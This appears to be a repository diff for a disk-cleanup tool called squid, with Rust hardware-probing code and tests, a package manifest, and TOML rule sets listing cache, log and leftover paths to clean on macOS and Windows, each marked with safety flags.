/// `\\.\C:` or the physical drive is elevation-gated, measured on this VDI).
fn system_disk_identity() -> Option<(String, String, String, u64)> {
use std::ffi::c_void;
use windows_sys::Win32::Foundation::{CloseHandle, INVALID_HANDLE_VALUE};
use windows_sys::Win32::Storage::FileSystem::CreateFileW;
use windows_sys::Win32::System::IO::DeviceIoControl;
const IOCTL_STORAGE_QUERY_PROPERTY: u32 = 0x002D_1400;
#[repr(C)]
struct StoragePropertyQuery {
property_id: u32,
query_type: u32,
raw: [u8; 4],
}
let drive = std::env::var("SystemDrive").unwrap_or_else(|_| "C:".to_string());
let targets = [
format!("\\\\.\\{}\\", drive.trim_end_matches('\\')),
r"\\.\PhysicalDrive0".to_string(),
];
for target in targets {
let path: Vec<u16> = target.encode_utf16().chain(std::iter::once(0)).collect();
// SAFETY: NUL-terminated path, query-only open, existing object.
let handle = unsafe {
CreateFileW(
path.as_ptr(),
0,
0x0000_0003,
std::ptr::null_mut(),
3,
0x0000_0080,
std::ptr::null_mut(),
)
};
if handle.is_null() || handle == INVALID_HANDLE_VALUE {
continue;
}
let query = StoragePropertyQuery {
property_id: 0,
query_type: 0,
raw: [0; 4],
};
let mut out = vec![0u8; 2048];
let mut returned = 0u32;
// SAFETY: query struct and out buffer outlive the call; handle valid.
let ok = unsafe {
DeviceIoControl(
handle,
IOCTL_STORAGE_QUERY_PROPERTY,
&query as *const _ as *const c_void,
std::mem::size_of::<StoragePropertyQuery>() as u32,
out.as_mut_ptr() as *mut c_void,
out.len() as u32,
&mut returned,
std::ptr::null_mut(),
)
};
if ok == 0 || returned < 40 {
// SAFETY: paired with CreateFileW above.
unsafe { CloseHandle(handle) };
continue;
}
let vendor = descriptor_string(&out, returned as usize, 12);
let model = descriptor_string(&out, returned as usize, 16);
if vendor.is_empty() && model.is_empty() {
// SAFETY: paired with CreateFileW above.
unsafe { CloseHandle(handle) };
continue;
}
let bus = bus_label(u32::from_le_bytes(out[28..32].try_into().unwrap_or([0; 4])));
// Whole-disk size: the volumes only show partitions, the overview
// wants the physical capacity. `IOCTL_DISK_GET_LENGTH_INFO` demands
// FILE_READ_ACCESS, which a query-only handle cannot service, so
// reopen with GENERIC_READ — standard users get denied on physical
// drives, and then the capacity simply stays unknown.
let disk_path: Vec<u16> = target.encode_utf16().chain(std::iter::once(0)).collect();
// SAFETY: NUL-terminated path, query open of an existing object.
let disk_handle = unsafe {
CreateFileW(
disk_path.as_ptr(),
0x8000_0000,
0x0000_0003,
std::ptr::null_mut(),
3,
0x0000_0080,
std::ptr::null_mut(),
)
};
let mut size_bytes = 0u64;
if !disk_handle.is_null() && disk_handle != INVALID_HANDLE_VALUE {
let mut size_written = 0u32;
// SAFETY: 8-byte out buffer, valid handle; paired CloseHandle.
let sized = unsafe {
DeviceIoControl(
disk_handle,
0x0007_405C, // IOCTL_DISK_GET_LENGTH_INFO
std::ptr::null(),
0,
&mut size_bytes as *mut _ as *mut std::ffi::c_void,
8,
&mut size_written,
std::ptr::null_mut(),
)
};
unsafe { CloseHandle(disk_handle) };
if sized == 0 || size_written < 8 {
size_bytes = 0;
}
}
// SAFETY: paired with CreateFileW above.
let _ = unsafe { CloseHandle(handle) };
return Some((vendor, model, bus, size_bytes));
}
None
}
/// ANSI string inside STORAGE_DEVICE_DESCRIPTOR at the u32 offset stored in
/// `offset_field` (12 = VendorId, 16 = ProductId).
fn descriptor_string(buf: &[u8], used: usize, offset_field: usize) -> String {
let Ok(bytes) = buf[offset_field..offset_field + 4].try_into() else {
return String::new();
};
let offset = u32::from_le_bytes(bytes) as usize;
if offset == 0 || offset >= used || used > buf.len() {
return String::new();
}
let text = &buf[offset..used];
let end = text
.iter()
.position(|byte| *byte == 0)
.unwrap_or(text.len());
String::from_utf8_lossy(&text[..end]).trim().to_string()
}
fn bus_label(bus: u32) -> String {
match bus {
0x01 => "SCSI",
0x02 | 0x03 => "ATA",
0x07 => "USB",
0x08 => "RAID",
0x09 => "iSCSI",
0x0A => "SAS",
0x0B => "SATA",
0x11 | 0x12 => "NVMe",
_ => return String::new(),
}
.to_string()
}
/// The GPU with the most video memory (a discrete card when one exists),
/// read from the display class registry keys every driver writes.
fn best_gpu() -> Option<(String, String, u64)> {
let class = RegKey::predef(HKEY_LOCAL_MACHINE)
.open_subkey_with_flags(
r"SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}",
KEY_READ,
)
.ok()?;
let mut best: Option<(u64, String, String)> = None;
for name in class.enum_keys().filter_map(|entry| entry.ok()) {
if name.is_empty() || !name.chars().all(|digit| digit.is_ascii_digit()) {
continue;
}
let Ok(sub) = class.open_subkey_with_flags(&name, KEY_READ) else {
continue;
};
let Some(desc) = str_value(&sub, "DriverDesc") else {
continue;
};
let lower = desc.to_lowercase();
if lower.contains("basic render") || lower.contains("rdp driver") {
continue;
}
let vram = sub
.get_value::<u64, _>("HardwareInformation.qwMemorySize")
.unwrap_or(0);
// Garbage/negative QWORDs show up as huge unsigned values.
let vram = if vram < 64 * 1024 * 1024 * 1024 {
vram
} else {
0
};
if best.as_ref().is_some_and(|(known, _, _)| *known >= vram) {
continue;
}
best = Some((
vram,
desc,
str_value(&sub, "ProviderName").unwrap_or_default(),
));
}
let (vram, desc, provider) = best?;
Some((gpu_vendor(&provider, &desc).to_string(), desc, vram))
}
fn gpu_vendor(provider: &str, desc: &str) -> &'static str {
let text = format!("{provider} {desc}").to_lowercase();
if text.contains("nvidia")
|| text.contains("geforce")
|| text.contains("quadro")
|| text.contains("rtx")
|| text.contains("gtx")
{
"NVIDIA"
} else if text.contains("advanced micro devices")
|| text.contains("radeon")
|| text.contains(" amd")
{
"AMD"
} else if text.contains("intel") || text.contains("uhd graphics") || text.contains("iris") {
"Intel"
} else if text.contains("aspeed") {
"ASPEED"
} else {
""
}
}
#[cfg(test)]
mod tests {
use super::os_label;
#[test]
fn hardware_probe_runs_on_this_machine() {
// Local smoke: prints what the component query found here.
let info = super::hardware_info();
println!(
"board={:?} cpu={:?} sticks={} disk={:?}/{:?}/{:?}/{} gpu={:?}/{:?} vram={}",
info.board,
info.cpu_model,
info.memory_sticks.len(),
info.disk_vendor,
info.disk_model,
info.disk_bus,
info.disk_size_bytes,
info.gpu_vendor,
info.gpu_model,
info.gpu_vram_bytes
);
assert!(!info.cpu_model.is_empty() || info.board.is_empty());
}
#[test]
fn upgraded_windows_10_builds_report_eleven() {
// The exact shape seen on 26H2 machines: ProductName still says 10.
assert_eq!(
os_label(
Some(10),
Some("26300"),
Some("Windows 10 Pro"),
Some("Professional"),
Some("26H2"),
),
"Windows 11 Pro 26H2"
);
assert_eq!(
os_label(Some(10), Some("22000"), Some("Windows 10 Pro"), None, None),
"Windows 11 (build 22000)"
);
}
#[test]
fn real_windows_10_builds_stay_ten() {
assert_eq!(
os_label(
Some(10),
Some("19045"),
Some("Windows 10 Pro"),
Some("Professional"),
Some("22H2"),
),
"Windows 10 Pro 22H2"
);
}
#[test]
fn server_and_home_editions_map_to_marketing_names() {
assert_eq!(
os_label(
Some(10),
Some("25398"),
None,
Some("ServerDatacenterACor"),
None
),
"Windows 11 Server Datacenter (build 25398)"
);
assert_eq!(
os_label(
Some(10),
Some("26100"),
None,
Some("CoreSingleLanguage"),
Some("24H2")
),
"Windows 11 Home 24H2"
);
}
#[test]
fn legacy_and_future_versions_keep_the_registry_wording() {
assert_eq!(
os_label(
Some(6),
Some("7601"),
Some("Windows 7 Ultimate"),
None,
None
),
"Windows 7 Ultimate (build 7601)"
);
assert_eq!(
os_label(
Some(11),
Some("30000"),
Some("Windows Next"),
None,
Some("1H3")
),
"Windows Next 1H3"
);
}
}

View File

@ -1,15 +0,0 @@
[package]
name = "squid-rules"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
description = "Data-driven cleanup rule sets shipped with squid"
[dependencies]
squid-core.workspace = true
squid-platform.workspace = true
serde.workspace = true
toml.workspace = true
globset.workspace = true
serde_json.workspace = true

View File

@ -1,465 +0,0 @@
# squid cleanup rules — macOS
#
# Every rule declares the anchor it owns (the longest literal prefix of each
# pattern), so deletion is always validated against that anchor. Patterns use
# `~` for the home directory; `*` never crosses a path separator.
# ─────────────────────────────────────────────── system junk / temp files ──
[[rule]]
id = "user-cache"
category = "app-caches"
title = "User cache files"
patterns = ["~/Library/Caches/*"]
mode = "path"
os = ["macos"]
protect = ["com.apple.*", "*.lockfile", "Homebrew", "Homebrew/*", "CloudKit", "passd", "ss", "com.apple.containermanagerd.metadata.plist", "Fleet", "gnupd", "org.sparkle-project.Sparkle/*"]
note = "Regenerable. Apps recreate what they need on next launch."
[[rule]]
id = "dot-cache"
category = "app-caches"
title = "~/.cache"
patterns = ["~/.cache/*"]
mode = "path"
os = ["macos"]
protect = ["mozilla/*/cache2", "gitkraken", "gitlens"]
[[rule]]
id = "system-cache"
category = "system"
title = "System caches"
patterns = ["/Library/Caches/*"]
mode = "path"
os = ["macos"]
needs_admin = true
protect = ["com.apple.*", "Homebrew", "Homebrew/*"]
[[rule]]
id = "system-logs"
category = "logs"
title = "System logs"
patterns = ["/Library/Logs/*"]
mode = "path"
os = ["macos"]
needs_admin = true
min_age_days = 7
[[rule]]
id = "private-var-log"
category = "logs"
title = "macOS log files"
patterns = ["/private/var/log/*"]
mode = "files"
os = ["macos"]
needs_admin = true
min_age_days = 7
[[rule]]
id = "user-logs"
category = "logs"
title = "User logs"
patterns = ["~/Library/Logs/*"]
mode = "path"
os = ["macos"]
[[rule]]
id = "crash-reports"
category = "logs"
title = "Diagnostic & crash reports"
patterns = ["~/Library/Logs/DiagnosticReports/*", "/Library/Logs/DiagnosticReports/*", "~/Library/Application Support/CrashReporter/*"]
mode = "files"
os = ["macos"]
min_age_days = 2
[[rule]]
id = "install-logs"
category = "logs"
title = "Installer logs"
patterns = ["/private/var/log/install.log*", "/private/var/log/installassistant.log*"]
mode = "files"
os = ["macos"]
needs_admin = true
min_age_days = 14
# ────────────────────────────────────────────────────────── browsers ────────
[[rule]]
id = "chrome-cache"
category = "browsers"
title = "Google Chrome cache"
patterns = ["~/Library/Caches/Google/Chrome/Default/*/Cache/*", "~/Library/Caches/Google/Chrome/*/Cache/*"]
mode = "path"
os = ["macos"]
skip_if_running = ["Google Chrome"]
[[rule]]
id = "chromium-cache"
category = "browsers"
title = "Chromium cache"
patterns = ["~/Library/Caches/Chromium/Default/*/Cache/*"]
mode = "path"
os = ["macos"]
skip_if_running = ["Chromium"]
[[rule]]
id = "safari-cache"
category = "browsers"
title = "Safari cache"
patterns = ["~/Library/Caches/com.apple.Safari/*"]
mode = "path"
os = ["macos"]
skip_if_running = ["Safari"]
[[rule]]
id = "firefox-cache"
category = "browsers"
title = "Firefox cache"
patterns = ["~/Library/Caches/Firefox/Profiles/*/cache2"]
mode = "path"
os = ["macos"]
skip_if_running = ["firefox"]
[[rule]]
id = "edge-cache"
category = "browsers"
title = "Microsoft Edge cache"
patterns = ["~/Library/Caches/Microsoft Edge/*/Cache/*", "~/Library/Caches/Microsoft Edge/Default/*/Cache/*"]
mode = "path"
os = ["macos"]
skip_if_running = ["Microsoft Edge"]
[[rule]]
id = "arc-cache"
category = "browsers"
title = "Arc cache"
patterns = ["~/Library/Caches/company.thebrowser.Browser/*"]
mode = "path"
os = ["macos"]
skip_if_running = ["Arc"]
[[rule]]
id = "brave-cache"
category = "browsers"
title = "Brave cache"
patterns = ["~/Library/Caches/BraveSoftware/Brave-Browser/*/Cache/*"]
mode = "path"
os = ["macos"]
skip_if_running = ["Brave Browser"]
[[rule]]
id = "service-workers"
category = "browsers"
title = "Offline web content"
patterns = ["~/Library/WebKit/*/WebsiteData/ServiceWorkerData/*", "~/Library/Containers/com.apple.Safari/Data/Library/Caches/com.apple.Safari/WebKitReplay/*"]
mode = "path"
os = ["macos"]
select_by_default = false
note = "Web apps may need to re-register their background workers."
# ───────────────────────────────────────────────────── chat & media apps ────
[[rule]]
id = "chat-caches"
category = "app-caches"
title = "Chat app caches"
patterns = [
"~/Library/Application Support/Slack/Cache/*",
"~/Library/Application Support/Slack/Code Cache/*",
"~/Library/Application Support/discord/Cache/*",
"~/Library/Caches/us.zoom.xos/*",
"~/Library/Caches/com.tencent.xinWeChat/*",
"~/Library/Caches/com.tencent.WeWorkMac/*",
"~/Library/Caches/com.tencent.qq/*",
"~/Library/Caches/com.tencent.meeting/*",
"~/Library/Caches/ru.keepcoder.Telegram/*",
"~/Library/Caches/net.whatsapp.WhatsApp/*",
"~/Library/Caches/com.microsoft.teams2/*",
"~/Library/Caches/com.skype.skype/*",
"~/Library/Caches/dd.work.exclusive4aliding/*",
"~/Library/Caches/com.feishu.*/*",
"~/Library/Application Support/iDingTalk/log/*",
]
mode = "path"
os = ["macos"]
note = "Media history re-downloads when you scroll back."
[[rule]]
id = "creative-caches"
category = "app-caches"
title = "Creative suite caches"
patterns = [
"~/Library/Caches/Adobe/*",
"~/Library/Caches/com.adobe.*/*",
"~/Library/Caches/com.figma.Desktop/*",
"~/Library/Application Support/Adobe/Common/Media Cache Files/*",
"~/Library/Caches/com.apple.finalcutpro/*",
"~/Library/Caches/com.blackmagic-design.DaVinciResolve/*",
"~/Library/Caches/com.adobe.PremierePro.*/*",
"~/Library/Caches/org.blenderfoundation.blender/*",
"~/Library/Caches/com.maxon.cinema4d/*",
"~/Library/Caches/com.bohemiancoding.sketch3/*",
"~/Library/Caches/com.sketch.app/*",
"~/Library/Caches/com.nwjs.*/*",
]
mode = "path"
os = ["macos"]
[[rule]]
id = "ai-app-caches"
category = "app-caches"
title = "AI assistant caches"
patterns = [
"~/Library/Caches/com.openai.chat/*",
"~/Library/Caches/com.anthropic.claudefordesktop/*",
"~/Library/Logs/Claude/*",
"~/Library/Caches/com.lmstudio.lmstudio/*",
"~/Library/Caches/com.ollama.ollama/*",
]
mode = "path"
os = ["macos"]
# ───────────────────────────────────────────────────────────── developer ────
[[rule]]
id = "xcode-derived-data"
category = "developer"
title = "Xcode DerivedData"
patterns = ["~/Library/Developer/Xcode/DerivedData/*"]
mode = "path"
os = ["macos"]
note = "Rebuilt automatically the next time you build each project."
[[rule]]
id = "xcode-caches"
category = "developer"
title = "Xcode caches & archives of build products"
patterns = [
"~/Library/Caches/com.apple.dt.Xcode/*",
"~/Library/Developer/Xcode/Products/*",
"~/Library/Developer/Xcode/iOS Device Logs/*",
"~/Library/Developer/CoreSimulator/Caches/*",
"~/Library/Developer/Xcode/UserData/IB Support/Simulator Bundles/*",
]
mode = "path"
os = ["macos"]
[[rule]]
id = "xcode-device-support"
category = "developer"
title = "Device support & watchOS runtimes"
patterns = [
"~/Library/Developer/Xcode/iOS DeviceSupport/*",
"~/Library/Developer/Xcode/watchOS DeviceSupport/*",
"~/Library/Developer/Xcode/tvOS DeviceSupport/*",
"~/Library/Developer/Xcode/visionOS DeviceSupport/*",
]
mode = "path"
os = ["macos"]
select_by_default = false
note = "Xcode re-downloads symbol files when you attach an old device again."
[[rule]]
id = "core-simulator"
category = "developer"
title = "Shutdown iOS Simulators"
patterns = ["~/Library/Developer/CoreSimulator/Devices/*"]
mode = "path"
os = ["macos"]
select_by_default = false
needs_admin = false
note = "Only safe for simulators you deleted from Xcode; squid skips booted ones."
[[rule]]
id = "simulator-runtime"
category = "developer"
title = "Simulator runtimes"
patterns = ["~/Library/Developer/CoreSimulator/Volumes/*", "/Library/Developer/CoreSimulator/Volumes/*"]
mode = "path"
os = ["macos"]
select_by_default = false
needs_admin = true
note = "Re-downloadable from Xcode → Settings → Platforms."
[[rule]]
id = "editors"
category = "developer"
title = "Editor caches & logs"
patterns = [
"~/Library/Application Support/Code/Cache/*",
"~/Library/Application Support/Code/CachedData/*",
"~/Library/Application Support/Code/CachedExtensionVSIXs/*",
"~/Library/Application Support/Code/logs/*",
"~/Library/Application Support/Code/WebStorage/*/CacheStorage/*",
"~/Library/Application Support/Cursor/CachedExtensionVSIXs/*",
"~/Library/Application Support/Cursor/Cache/*",
"~/Library/Application Support/Cursor/logs/*",
"~/Library/Application Support/Zed/node/cache/*",
"~/Library/Application Support/Zed/Extensions/*",
"~/Library/Logs/Zed/*",
"~/Library/Caches/com.sublimetext.*/*",
"~/Library/Caches/Zed/*",
"~/Library/Caches/dev.zed.Zed/*",
"~/Library/Caches/com.todesktop.230313mzl4w4u92/*",
"~/Library/Caches/com.trae.app/*",
"~/Library/Caches/com.workbuddy/*",
]
mode = "path"
os = ["macos"]
[[rule]]
id = "npm-cache"
category = "developer"
title = "npm / pnpm / yarn / bun caches"
patterns = [
"~/.npm/_cacache/*",
"~/.npm/_npx/*",
"~/.npm/_prebuilds/*",
"~/Library/pnpm/store/*",
"~/Library/pnpm/store/v*/*",
"~/Library/Caches/Yarn/*",
"~/Library/Caches/bun/*",
"~/.bun/install/cache/*",
]
mode = "path"
os = ["macos"]
note = "`npm install` re-downloads packages on demand."
[[rule]]
id = "cargo-cache"
category = "developer"
title = "Cargo registry & build caches"
patterns = ["~/.cargo/registry/cache/*", "~/.cargo/registry/index/*", "~/.cargo/registry/src/*", "~/.cargo/.package-cache"]
mode = "path"
os = ["macos"]
note = "Cargo re-fetches crates when needed. Target dirs live in `squid purge`."
[[rule]]
id = "python-caches"
category = "developer"
title = "Python package caches"
patterns = [
"~/Library/Caches/pip/*",
"~/.cache/pip/*",
"~/.cache/uv/*",
"~/Library/Caches/pypoetry/*",
"~/Library/Caches/poetry/*",
"~/Library/Caches/pdm/*",
"~/Library/Caches/conda/*",
"~/miniconda3/pkgs/cache/*",
"~/anaconda3/pkgs/cache/*",
"~/Library/Caches/pyinstaller/*",
]
mode = "path"
os = ["macos"]
[[rule]]
id = "go-cache"
category = "developer"
title = "Go build & module caches"
patterns = ["~/go/pkg/mod/cache/*", "~/Library/Caches/go-build/*", "~/Library/Caches/goimports/*"]
mode = "path"
os = ["macos"]
[[rule]]
id = "jvm-caches"
category = "developer"
title = "Gradle / Maven caches"
patterns = ["~/.gradle/caches/*/generated-gradle-jars/*", "~/.gradle/wrapper/dists/*", "~/.gradle/caches/transforms-*", "~/.gradle/daemon/*", "~/Library/Caches/gradle/*"]
mode = "path"
os = ["macos"]
select_by_default = false
note = "Gradle re-downloads distributions; first build after cleaning is slower."
[[rule]]
id = "cocoapods-cache"
category = "developer"
title = "CocoaPods / SPM caches"
patterns = ["~/Library/Caches/CocoaPods/*", "~/.cocoapods/repos/*", "~/Library/Caches/org.swift.swiftpm/*", "~/Library/org.swift.swiftpm/repositories/*"]
mode = "path"
os = ["macos"]
[[rule]]
id = "brew-cache"
category = "developer"
title = "Homebrew downloads & bottles"
patterns = ["$(brew --prefix)/Library/Caches/Homebrew/*", "~/Library/Caches/Homebrew/*"]
mode = "path"
os = ["macos"]
note = "`brew install` re-downloads bottles as needed."
[[rule]]
id = "ci-tool-caches"
category = "developer"
title = "CLI & CI tool caches"
patterns = [
"~/Library/Caches/golangci-lint/*",
"~/Library/Caches/go-crunch-base/*",
"~/.cache/pre-commit/*",
"~/.cache/prettier/*",
"~/.cache/typescript/*",
"~/.cache/node-gyp/*",
"~/.npm/_quick/*",
"~/Library/Caches/Homebrew/api/*",
"~/.cache/chroma/*",
"~/.cache/visual-studio-code-browser-use/*",
"~/Library/Caches/ms-playwright/*",
"~/Library/Caches/cypress/*",
"~/Library/Caches/selenium/*",
"~/.cache/puppeteer/*",
"~/.cache/Cypress/*",
]
mode = "path"
os = ["macos"]
select_by_default = false
note = "Test tooling re-downloads browsers and lint data on the next run."
[[rule]]
id = "container-images"
category = "developer"
title = "Docker / OrbStack disk usage"
patterns = ["~/Library/Containers/com.docker.docker/Data/vms/*", "~/.orbstack/vm/Docker.raw"]
mode = "path"
os = ["macos"]
select_by_default = false
needs_admin = false
risky = true
skip_if_running = ["Docker Desktop", "com.docker.backend", "com.docker.build", "com.docker.virtualization", "OrbStack", "OrbStack Helper"]
note = "This is the whole VM disk, not a cache: stop Docker/OrbStack and run `docker system prune -a` first."
# ─────────────────────────────────────────────────────────── system junk ───
[[rule]]
id = "language-packs"
category = "languages"
title = "Speech & dictionary data"
patterns = ["/System/Library/Speech/*", "/Library/Fonts/*"]
mode = "path"
os = ["macos"]
select_by_default = false
risky = true
note = "Sealed on modern macOS: usually nothing to reclaim here."
[[rule]]
id = "installer-leftovers"
category = "system"
title = "Cached installers & updates"
patterns = ["/Library/Updates/*", "~/Library/Caches/com.apple.appstore/*", "/private/var/folders/*/*/0/com.apple.installeraudit*/*"]
mode = "path"
os = ["macos"]
needs_admin = true
[[rule]]
id = "disk-images"
category = "system"
title = "Mounted disk images"
patterns = ["/Volumes/*/"]
mode = "path"
os = ["macos"]
select_by_default = false
risky = true
note = "Eject instead of deleting; squid never removes a mounted volume."
[[rule]]
id = "user-trash"
category = "trash"
title = "Trash"
patterns = ["~/.Trash/*"]
mode = "path"
os = ["macos"]
note = "Everything you already deleted but that still occupies the volume."

View File

@ -1,296 +0,0 @@
# squid cleanup rules — Windows 10 / 11
#
# Every rule declares the anchor it owns (the longest literal prefix of each
# pattern), so deletion is always validated against that anchor. Patterns use
# `${VAR}` environment expansion (case-insensitive on Windows) and `\` as the
# separator; `*` never crosses a path separator. Rules whose variable is not
# set (or whose paths do not exist) silently match nothing, which keeps one
# build safe on Home, Pro, and machines where the app was never installed.
# ─────────────────────────────────────────────── system junk / temp files ──
[[rule]]
id = "windows-temp"
category = "system"
title = "Temp files (%TEMP%)"
patterns = ['${TEMP}\*']
mode = "path"
os = ["windows"]
note = "Files still in use are skipped, not forced."
[[rule]]
id = "recent-items"
category = "system"
title = "Recent Items shortcuts"
patterns = ['${APPDATA}\Microsoft\Windows\Recent\*']
mode = "path"
os = ["windows"]
select_by_default = false
note = "Only the .lnk shortcuts, never the files they point at."
[[rule]]
id = "windows-update-downloads"
category = "system"
title = "Windows Update download cache"
patterns = ['${SystemRoot}\SoftwareDistribution\Download\*']
mode = "path"
os = ["windows"]
needs_admin = true
note = "Safe: update payloads are re-downloaded if ever needed again."
[[rule]]
id = "bits-transfer-cache"
category = "system"
title = "Delivery Optimization / BITS cache"
patterns = ['${ProgramData}\Microsoft\Network\Downloader\*']
mode = "path"
os = ["windows"]
needs_admin = true
[[rule]]
id = "prefetch"
category = "system"
title = "Prefetch files"
patterns = ['${SystemRoot}\Prefetch\*']
mode = "path"
os = ["windows"]
needs_admin = true
select_by_default = false
note = "Freeing is tiny and boot speed drops until they rebuild."
# ─────────────────────────────────────────────── browser caches ─────────────
[[rule]]
id = "edge-caches"
category = "browser-caches"
title = "Microsoft Edge caches"
patterns = ['${LOCALAPPDATA}\Microsoft\Edge\User Data\*\Cache', '${LOCALAPPDATA}\Microsoft\Edge\User Data\*\Code Cache']
mode = "path"
os = ["windows"]
skip_if_running = ["msedge.exe"]
note = "Signed-in state is untouched; pages reload from the network."
[[rule]]
id = "chrome-caches"
category = "browser-caches"
title = "Google Chrome caches"
patterns = ['${LOCALAPPDATA}\Google\Chrome\User Data\*\Cache', '${LOCALAPPDATA}\Google\Chrome\User Data\*\Code Cache']
mode = "path"
os = ["windows"]
skip_if_running = ["chrome.exe"]
[[rule]]
id = "firefox-cache"
category = "browser-caches"
title = "Firefox cache"
patterns = ['${LOCALAPPDATA}\Mozilla\Firefox\Profiles\*\cache2']
mode = "path"
os = ["windows"]
skip_if_running = ["firefox.exe"]
[[rule]]
id = "inet-cache"
category = "browser-caches"
title = "Legacy INetCache"
patterns = ['${LOCALAPPDATA}\Microsoft\Windows\INetCache\*']
mode = "path"
os = ["windows"]
note = "Some entries stay locked while Explorer processes hold them."
# ─────────────────────────────────────────────── shell / app caches ─────────
[[rule]]
id = "icon-thumbnail-cache"
category = "app-caches"
title = "Icon & thumbnail cache"
patterns = ['${LOCALAPPDATA}\Microsoft\Windows\Explorer\iconcache_*', '${LOCALAPPDATA}\Microsoft\Windows\Explorer\thumbcache_*']
mode = "path"
os = ["windows"]
skip_if_running = ["explorer.exe"]
note = "Rebuilt automatically; thumbnails regenerate on browse."
[[rule]]
id = "discord-cache"
category = "app-caches"
title = "Discord caches"
patterns = ['${APPDATA}\discord\Cache', '${APPDATA}\discord\Code Cache', '${APPDATA}\discord\GPUCache']
mode = "path"
os = ["windows"]
skip_if_running = ["discord.exe"]
[[rule]]
id = "slack-cache"
category = "app-caches"
title = "Slack caches"
patterns = ['${APPDATA}\Slack\Cache', '${APPDATA}\Slack\Code Cache', '${APPDATA}\Slack\GPUCache']
mode = "path"
os = ["windows"]
skip_if_running = ["Slack.exe"]
[[rule]]
id = "vscode-cache"
category = "app-caches"
title = "VS Code caches"
patterns = ['${APPDATA}\Code\Cache', '${APPDATA}\Code\CachedData', '${APPDATA}\Code\Code Cache', '${APPDATA}\Code\GPUCache']
mode = "path"
os = ["windows"]
skip_if_running = ["Code.exe"]
[[rule]]
id = "vscode-logs"
category = "logs"
title = "VS Code logs"
patterns = ['${APPDATA}\Code\logs\*']
mode = "path"
os = ["windows"]
min_age_days = 7
# ─────────────────────────────────────────────── logs & crash reports ───────
[[rule]]
id = "user-error-reporting"
category = "logs"
title = "Windows Error Reporting (user)"
patterns = ['${LOCALAPPDATA}\Microsoft\Windows\WER\*']
mode = "path"
os = ["windows"]
[[rule]]
id = "system-error-reporting"
category = "logs"
title = "Windows Error Reporting (system)"
patterns = ['${ProgramData}\Microsoft\Windows\WER\*']
mode = "path"
os = ["windows"]
needs_admin = true
[[rule]]
id = "crash-dumps"
category = "logs"
title = 'Crash dumps (%LOCALAPPDATA%\CrashDumps)'
patterns = ['${LOCALAPPDATA}\CrashDumps\*']
mode = "path"
os = ["windows"]
min_age_days = 14
note = "Keep two weeks so a recent crash can still be diagnosed."
[[rule]]
id = "kernel-dumps"
category = "logs"
title = "Kernel / BSOD dumps"
patterns = ['${SystemRoot}\Minidump\*', '${SystemRoot}\MEMORY.DMP']
mode = "path"
os = ["windows"]
needs_admin = true
min_age_days = 30
risky = true
note = "MEMORY.DMP can be tens of GB; delete once BSODs are a solved problem."
[[rule]]
id = "connected-devices-platform"
category = "logs"
title = "ConnectedDevicesPlatform logs"
patterns = ['${LOCALAPPDATA}\ConnectedDevicesPlatform\*']
mode = "path"
os = ["windows"]
[[rule]]
id = "onedrive-logs"
category = "logs"
title = "OneDrive logs"
patterns = ['${LOCALAPPDATA}\Microsoft\OneDrive\logs\*']
mode = "path"
os = ["windows"]
min_age_days = 7
[[rule]]
id = "windows-setup-logs"
category = "logs"
title = "Windows setup / servicing logs"
patterns = ['${SystemRoot}\Logs\*', '${ProgramData}\USOShared\Logs\*']
mode = "path"
os = ["windows"]
needs_admin = true
min_age_days = 7
# ─────────────────────────────────────────────── developer caches ───────────
[[rule]]
id = "npm-cache"
category = "developer"
title = "npm cache"
patterns = ['${LOCALAPPDATA}\npm-cache\*']
mode = "path"
os = ["windows"]
note = "`npm install` refills it on demand."
[[rule]]
id = "pip-cache"
category = "developer"
title = "pip wheel cache"
patterns = ['${LOCALAPPDATA}\pip\Cache\*']
mode = "path"
os = ["windows"]
[[rule]]
id = "cargo-cache"
category = "developer"
title = "cargo registry cache & sources"
patterns = ['~/.cargo/registry/cache/*', '~/.cargo/registry/src/*']
mode = "path"
os = ["windows"]
note = "Re-downloaded on the next build; index metadata is kept."
[[rule]]
id = "go-build-cache"
category = "developer"
title = "Go build cache"
patterns = ['${LOCALAPPDATA}\go-build\*']
mode = "path"
os = ["windows"]
note = "`go build` refills it; next build is slower."
[[rule]]
id = "nuget-cache"
category = "developer"
title = "NuGet HTTP cache"
patterns = ['${LOCALAPPDATA}\NuGet\v3-cache\*']
mode = "path"
os = ["windows"]
[[rule]]
id = "gradle-cache"
category = "developer"
title = "Gradle module & transform caches"
patterns = ['~/.gradle/caches/modules-*', '~/.gradle/caches/transforms-*']
mode = "path"
os = ["windows"]
# ─────────────────────────────────────────────── leftovers ──────────────────
[[rule]]
id = "windows-old"
category = "leftovers"
title = "Previous Windows installations"
patterns = ['C:\Windows.old\*', 'C:\$WINDOWS.~BT\*', 'C:\$WINDOWS.~WS\*', 'C:\$WinREAgent\*']
mode = "path"
os = ["windows"]
needs_admin = true
risky = true
note = "Removes the rollback target of your last major update."
[[rule]]
id = "package-cache"
category = "leftovers"
title = 'Installer repair cache (%ProgramData%\Package Cache)'
patterns = ['${ProgramData}\Package Cache\*']
mode = "path"
os = ["windows"]
needs_admin = true
risky = true
select_by_default = false
note = "Some installers need these payloads to repair or uninstall themselves."
[[rule]]
id = "nvidia-installer-archives"
category = "leftovers"
title = "NVIDIA driver installer archives"
patterns = ['C:\NVIDIA\*']
mode = "path"
os = ["windows"]
select_by_default = false
note = "Unpacked installer leftovers; the installed driver is untouched."

View File

@ -1,924 +0,0 @@
//! Data-driven cleanup rules.
//!
//! A rule is a declarative description of *where* junk lives; the engine turns
//! it into concrete [`squid_core::CleanupItem`]s. Keeping the knowledge in TOML
//! means new patterns can be added (or disabled by users) without recompiling,
//! and — importantly — it keeps the dangerous path list auditable in one place.
//!
//! Patterns are intentionally expressed as globs with a *literal anchor*: the
//! longest leading path without wildcards. That anchor becomes the safety
//! anchor passed to [`squid_core::SafetyPolicy`], so a bug in glob expansion
//! can never produce a deletion outside the directory the rule owns.
//!
//! Pattern syntax
//! --------------
//! * `~/…` and `$HOME/…` expand to the home directory.
//! * `${VAR}` / `$VAR` expand from the environment (unset ⇒ rule yields nothing).
//! * `$(brew --prefix)` resolves the Homebrew prefix once per run.
//! * `*`, `?` and `{a,b}` work per path component; `*` never crosses `/`.
//! * `**` matches any number of components (used sparingly).
use globset::{Glob, GlobBuilder, GlobMatcher, GlobSet, GlobSetBuilder};
use serde::Deserialize;
use squid_core::paths;
use squid_core::settings::Settings;
use squid_core::Category;
use std::collections::HashMap;
use std::path::{Component, Path, PathBuf};
